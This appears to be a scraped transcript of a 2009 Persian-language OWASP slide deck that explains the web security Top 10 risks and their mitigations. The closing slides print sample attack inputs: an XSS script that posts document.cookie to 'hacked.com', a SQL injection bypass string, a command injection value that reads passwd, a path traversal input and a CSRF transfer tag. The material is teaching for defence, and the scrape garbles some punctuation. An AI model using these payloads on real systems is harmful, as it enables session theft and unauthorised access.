امنیت نرمافزارهای وب

32
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP http://www.owasp.org رهای وب ا ز ف رما ن ت ی ن م ا ادری اس ن ب عAbbas Naderi (aka AbiusX) ک ب ت ورما ف ن ا$ ران ا ب ت ع ا[email protected] [email protected] [email protected] 10/1/2009 ۱۳۸۸/۷/9 ر عصام دس ام ق م گاه4 ش6 ي8 پ ه م ب ي د ق ن)$ ج ع(

Upload: odina

Post on 19-Jan-2016

82 views

Category:

Documents


0 download

DESCRIPTION

عباس نادری Abbas Naderi (aka AbiusX ) اعتباران انفورماتیک [email protected] [email protected] [email protected]. امنیت نرم‌افزارهای وب. 10/1/2009 ۱۳۸۸ / ۷ / 9. تقديم به پيشگاه مقدس امام عصر (عج). امنیت دنیای وب. سهل انگاری در اوج اهمیت. OWASP TOP 10. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: امنیت نرمافزارهای وب

Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP

http://www.owasp.org

امنیت نرم افزارهای وب

عباس نادریAbbas Naderi (aka AbiusX)

اعتباران انفورماتیک[email protected]@[email protected]

10/1/2009۱۳۸۸/۷/9

تقديم به پيشگاه مقدس )عج(امام عصر

Page 2: امنیت نرمافزارهای وب

امنیت دنیای وب

سهل انگاری در اوج اهمیت

Page 3: امنیت نرمافزارهای وب

OWASP TOP 10

Cross Site Scripting )XSS(Injection FlawsInsecure Remote File IncludeInsecure Direct Object ReferenceCross Site Request Forgery )CSRF(Information Leakage and Improper Error HandlingBroken Authentication and Session ManagementInsecure Cryptographic StorageInsecure Communications

Failure to Restrict URL Access

خطر ۱۰ اصلی

Page 4: امنیت نرمافزارهای وب

1.Cross Site Scripting (XSS)اسکریپت نویسی مابین سایتی

سایتها آسیب پذیرند٪۲۰بیش از •مقابله با آن به غایت مشکل است •هWWرروزه روشWWهای جدیWWد فWWراوانی کشWWف می •

شوندجایگزین هWای معمWول بWرای کWاربران سWختی هایی •

دارندمی توانند به صورت کرم منتشر شوند •

Page 5: امنیت نرمافزارهای وب

1. Cross Site Scripting (XSS)

:روشهای مقابلهکتابخانه های بسیار پیچیده، سنگین و کند• مصون نیستند٪۱۰۰کتابخانه ها نیز •تحریم امکان استفاده از قالب بندی•(BBCode)استفاده از سیستم های جایگزین •همگامی با دنیای امنیت اطالعات•

Page 6: امنیت نرمافزارهای وب

•2. Injection Flawsتزریقات

سایتها آسیب پذیر٪۱۵حدود •آسWWیب پذیری بسWWیار محلWWک و اعمWWال آن سWWاده •

استدر دو دسته آگاهانه و کور انجام می گیرد •معمول ترین دلیل هک شدن و رسوخ به سایت ها •عالرقم معWWWWWروفی بسWWWWWیار، توسWWWWWعه دهندگان •

بی خبرندمقابله با آن معموال ناقص انجام می گیرد •در صWورت شWناخت کWافی، مقابلWه بسWیار آسWان •

است

Page 7: امنیت نرمافزارهای وب

2. Injection Flaws

:روشهای مقابلهاستفاده از واسط های امن برای دستورات پویا•برای PreparedStatementsاستفاده از •

SQLبه عنوان تنها راه Escapingعدم استفاده از •بررسی ورودی•بررسی لیست سفیدی ورود ی ها•

Page 8: امنیت نرمافزارهای وب

3. Insecure Remote File Include

تزریق کد مخرب

احتیاج به آگاهی از روش کار •معموال توسط توسعه دهندگان رعایت نمی شود •توسط تنظیمات بستری قابل رفع •بسWیار بسWیار مخWرب و خطرنWاک در صWورت وجWود •

و کشفامکWان انجWام انWواع حمالت بWدون متوجWه شWدن •

سیستم

Page 9: امنیت نرمافزارهای وب

3. Insecure Remote File Include

:روشهای مقابلهعدم استفاده از کدفایل متغیر•بررسی کامل و بسیار دقیق متغیر در آدرس کد•تبیین دقیق قوانین استفاده•تنظیمات سکوی اجرا•

Page 10: امنیت نرمافزارهای وب

4. Insecure Direct Object Reference

ارائه اطالعات ناخواسته

عدم آگاهی توسعه دهندگان•پیچیدگی یافت و جلوگیری •پیش آمدن قطعی در سیستم های پیچیده •بسWWیار زمWWانگیر و دشWWوار جهت کشWWف بWWرای •

نفوذگران

Page 11: امنیت نرمافزارهای وب

4. Insecure Direct Object Reference

:روشهای مقابلهتعیین دقیق معماری سیستم و پیروی از آن•مشخص کردن الیه تعیین دسترسی به همه •

چیزپیاده سازی صحیح روشها و پیروی از معماری•

Page 12: امنیت نرمافزارهای وب

5.Cross Site Request Forgery )CSRF(

جعل درخواست بین سایتی

عدم علم توسعه دهندگان •عدم درک صحیح توسعه دهندگان •بسیار ساده و قابل انجام •می تواند به غایت حساس و خطرناک باشد یا نه •کاربری معمول به سادگی برطرف می شود •موارد پیچیده احتیاج به پردازش خروجی دارند •

Page 13: امنیت نرمافزارهای وب

5.Cross Site Request Forgery )CSRF(

:روشهای مقابلهبرای فرآیندها GETعدم استفاده از •جفتگیری تصادفی در کالینت و سرور •

نااتوماتیکفرم ورود به سیستم مجدد در فرآیند حساس•XSSجلوگیری از •

Page 14: امنیت نرمافزارهای وب

6. Information Leakage and Improper Error Handling

نشت اطالعات و نقص مدیریت خطا

قدم اول انواع نفوذ •تقریبا تمام سیستم ها آسیب پذیرند •اهمیت آن معموال درنظر گرفته نمی شود • Stack TraceآگWاهی نسWبتا کامWل از سیسWتم بWا •

SQLیا روش های مقابله اتوماتیک ناکارآمد •روش های مقابله دستی بسیار کند و هزینه بر •

Page 15: امنیت نرمافزارهای وب

6. Information Leakage and Improper Error Handling

:روشهای مقابلهعدم ارائه خطا و ارور در سیستم عملیاتی•تهیه گزارش کامل از همه عملکردهای سیستم•تماس با مدیر و امنیت از طریق ای میل یا •

SMSبررسی دقیق و تست کامل محصول قبل از •

ارائهاستفاده از سیستم های اتوماتیک و تنظیم سکو•

Page 16: امنیت نرمافزارهای وب

7. Broken Authentication and Session Management

احراز هویت و مدیریت نشست ناکارا

بسیار بد و آسیب زننده •احتیاج به بازنگری دائم و فراوان •نقص در روش های احراز هویت غیراستاندارد •پیاده سWWازی دشWWوار و حسWWاس در سیسWWتم های •

بزرگ

Page 17: امنیت نرمافزارهای وب

7. Broken Authentication and Session Management

:روشهای مقابلهاستفاده از یک محور احرازهویت•ایجاد نشست های مستقل پس از احراز هویت•خروج از سیستم کارا و تخلیه اطالعات•عدم ارائه اطالعات نشستی و حساس•استفاده از سیستم های بالغ•تست و بررسی کد به صورت کامل•

Page 18: امنیت نرمافزارهای وب

8. Insecure Cryptographic Storage

استفاده نادرست از رمزنگاری

بسیار معمول و خطرناک •اکWثر توسWعه دهندگان و تیم آنهWا دانش رمزنگWاری •

ندارندتکیه کامل بر رمزنگاری ناصحیح •نفوذگران معدودی دانش رمزنگاری کافی دارند ••

Page 19: امنیت نرمافزارهای وب

8. Insecure Cryptographic Storage

:روشهای مقابلهبررسی کد )تست پاسخگو نیست)•عدم استفاده از الگوریتم های دستی•آموزش استفاده صحیح از الگوریتم های •

قدرتمندعدم استفاده از الگوریتم های منسوخ )مانند •

MD5)Hard Codingعدم استفاده از •

Page 20: امنیت نرمافزارهای وب

9. Insecure Communications

ارتباطات ناامن

هزینه بWر و احتیWاج بWه صWرف اعتبWار جهت کسWب •اعتبار

بWWWار بیشWWWتر بWWWر روی سWWWرورها و کالینت هWWWا •()نامطلوب

عدم درک صحیح از عمق مسئله •راه اندازی دشوار بر سرور •آموزش دشوار در کالینت •

Page 21: امنیت نرمافزارهای وب

9. Insecure Communications

:روشهای مقابلهدر تمام ارتباطات هویت دار SSLاستفاده از •در تمام فرآیندهای حساس SSLاستفاده از •SSLاستفاده از گواهینامه معتبر • TLS یا ۳نسخه ، SSLاستفاده از نسخه معتبر•منطق عدم ارائه اطالعات حساس در ارتباط •

ناامن توسط برنامه کنترل شود

Page 22: امنیت نرمافزارهای وب

10. Failure to Restrict URL Access

ناتوانی در محدود کردن دسترسی

Security by Obscurityمتدولوژی غلط •عدم استفاده از کنترل دسترسی محوری •(کنترل دسترسی ناصحیح )مثال بر روی کالینت •دشWWواری پیاده سWWازی و اسWWتفاده از روش هWWای •

استاندارد

Page 23: امنیت نرمافزارهای وب

10. Failure to Restrict URL Access

:روشهای مقابله(RBAC )استفاده از روشهای استاندارد و کارا •اعمال اتوماتیک مکانیزم کنترل دسترسی•بررسی کد کامل و معماری کارآمد•عدم استفاده از آدرس های مخفی•

Page 24: امنیت نرمافزارهای وب

چند راه برد عملی

!پیاده روی در اعماق باتالق

Page 25: امنیت نرمافزارهای وب

Cross Site Scripting )XSS(

echo $_REQUEST['userinput'];Reflected, Stored and DOM types

docoment.write)'<form name='f1' action=''hacked.com''>

<input name=''sessionID'' value='' '+document.cookie+' '' /></form>'(;

document.forms.f1.submit)(;

Page 26: امنیت نرمافزارهای وب

SQL Injection

$sql = "SELECT * FROM table WHERE id = ' " . $_GET['id'] . " ' ";

Text fields, Number Fields!!!Server Code:

$R=mysql_query)''SELECT * FROM users WHERE Username='{$Username}' AND Password='{$Pass}' ''(;

if )$R( echo '' You logged in successfully! '';

Attack: username: foo password: 1' or '1'='1

Manipulated SQL: SELECT * FROM users WHERE Username='1' AND Password='1' or '1'='1'

Page 27: امنیت نرمافزارهای وب

Command Injection

Server Code:

Exec )''mail ''.$UserData(;

UserData:'' hi; cat passwd; ''

لیست کلمات عبور به همراه متن نامه، به .نفوذگر ای میل می شوند

Page 28: امنیت نرمافزارهای وب

Malicious File Execute

Include direname)__FILE__(.''/request_handlers/''.$R;

به صورت پویا درخواست کاربر را پاسخ ...می گوییم

User Request:../../passwd

باعث می شود فایل رمزهای عبور به جای فایل .کد نمایش داده شود

Page 29: امنیت نرمافزارهای وب

Insecure Direct Object Reference

<select name="language"><option value="ir">Farsi</option></select>

... Include

)$_GET['language']."lang.php"(;...<select name="language"><option

value="29871268398721">Farsi</option></select>

Use Salts to prevent Brute-Force!

Page 30: امنیت نرمافزارهای وب

Cross Site Request Forgery )CSRF(

<img src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct &toAcct=4345754&toSWIFTid=434343&amt=3434.43">

Page 31: امنیت نرمافزارهای وب

Insecure Cryptographic Storage

$pass=md5)$_GET['pass'](; // unsafe!www.passcracking.com

(۲از الگوریتم های صحیح )( ۱استفاده صحیح)

$pass=hash) ''sha-512'' ,$_GET['pass'].strtolower)$_GET['user']((;

Page 32: امنیت نرمافزارهای وب

سواالت، پیشنهادات؟

www.owasp.org ع : مناب